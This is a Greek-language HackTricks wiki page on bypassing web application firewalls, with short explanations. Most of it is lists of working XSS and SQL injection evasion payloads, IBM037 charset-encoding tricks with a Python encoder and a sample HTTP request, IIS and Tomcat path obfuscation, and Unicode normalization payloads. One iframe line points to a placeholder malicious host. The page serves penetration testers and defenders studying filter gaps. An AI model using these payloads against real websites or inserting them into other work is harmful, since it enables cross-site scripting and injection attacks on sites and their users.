WAF Bypass

Μάθε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Παράκαμψη Regex

Διάφορες τεχνικές μπορούν να χρησιμοποιηθούν για την παράκαμψη των φίλτρων regex στους προστατευτικούς τείχους πυρασφάλειας. Παραδείγματα περιλαμβάνουν την εναλλαγή πεζών-κεφαλαίων, την προσθήκη αλλαγών γραμμής και την κωδικοποίηση των φορτίων. Πόροι για τις διάφορες παρακάμψεις μπορούν να βρεθούν στο PayloadsAllTheThings και στο OWASP. Τα παρακάτω παραδείγματα προέρχονται από αυτό το άρθρο.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Κωδικοποίηση χαρακτήρων

Η κωδικοποίηση χαρακτήρων αναφέρεται στη μετατροπή των χαρακτήρων από τη μορφή τους σε μια μορφή που μπορεί να αναγνωστεί από τον υπολογιστή. Οι διάφορες κωδικοποιήσεις χαρακτήρων χρησιμοποιούνται για να αναπαραστήσουν διάφορες γλώσσες και συμβολοσειρές.

Κατά την εκτέλεση επιθέσεων σε ιστοσελίδες, μπορεί να υπάρχει η ανάγκη να παρακάμψουμε την κωδικοποίηση χαρακτήρων που χρησιμοποιείται από τον Web Application Firewall (WAF). Αυτό μπορεί να επιτευχθεί με τη χρήση ειδικών χαρακτήρων ή μετατροπής της κωδικοποίησης χαρακτήρων.

Οι παρακάτω τεχνικές μπορούν να χρησιμοποιηθούν για την παράκαμψη της κωδικοποίησης χαρακτήρων:

  • Διπλή κωδικοποίηση: Μετατροπή των ειδικών χαρακτήρων σε διπλή κωδικοποίηση, ώστε να παρακαμφθεί η ανίχνευση του WAF.

  • Αντικατάσταση χαρακτήρων: Αντικατάσταση ειδικών χαρακτήρων με παρόμοιους χαρακτήρες που δεν ανιχνεύονται από το WAF.

  • Μετατροπή κωδικοποίησης: Μετατροπή της κωδικοποίησης χαρακτήρων σε μια διαφορετική μορφή που δεν ανιχνεύεται από το WAF.

Αυτές οι τεχνικές μπορούν να βοηθήσουν στην αποφυγή της ανίχνευσης από το WAF και να επιτρέψουν την εκτέλεση επιθέσεων σε ευάλωτες ιστοσελίδες.

# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037

##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))

## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n

Απόκρυψη

Η απόκρυψη είναι μια τεχνική που χρησιμοποιείται για να αποφευχθεί η ανίχνευση ενός επιθέτου από έναν Web Application Firewall (WAF). Με τη χρήση αυτής της τεχνικής, ο κώδικας του επιθέτου τροποποιείται έτσι ώστε να μην αναγνωρίζεται από το WAF.

Οι τεχνικές απόκρυψης μπορούν να περιλαμβάνουν την αντικατάσταση ή την προσθήκη χαρακτήρων στον κώδικα του επιθέτου, την αναδιάταξη των εντολών ή τη χρήση μη αναγνωρίσιμων μεθόδων κρυπτογράφησης. Αυτό μπορεί να καταστήσει τον κώδικα του επιθέτου αδυνατό να αναγνωριστεί από το WAF και να περάσει απαρατήρητος.

Είναι σημαντικό να σημειωθεί ότι η απόκρυψη δεν είναι μια απόλυτη λύση και μπορεί να ανακαλυφθεί από προηγμένες τεχνικές ανίχνευσης. Ωστόσο, η χρήση απόκρυψης μπορεί να αυξήσει τις πιθανότητες επιτυχίας μιας επίθεσης και να δυσκολέψει την ανίχνευση του επιθέτου από το WAF.

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Συμβατότητα Unicode

Ανάλογα με την υλοποίηση της κανονικοποίησης Unicode (περισσότερες πληροφορίες εδώ), χαρακτήρες που μοιράζονται συμβατότητα Unicode μπορεί να παρακάμψουν το WAF και να εκτελεστούν ως το επιθυμητό φορτίο. Συμβατοί χαρακτήρες μπορούν να βρεθούν εδώ

Παράδειγμα

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Υπέρβαση Ορίων Μεγέθους

Συνήθως σε WAFs που βασίζονται στο cloud, αν η φορτίο είναι μεγαλύτερο από το μέγεθος X, το αίτημα δεν θα ελεγχθεί από το WAF. Μπορείτε απλά να το χρησιμοποιήσετε για να το παρακάμψετε.

Περιστροφή IP

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated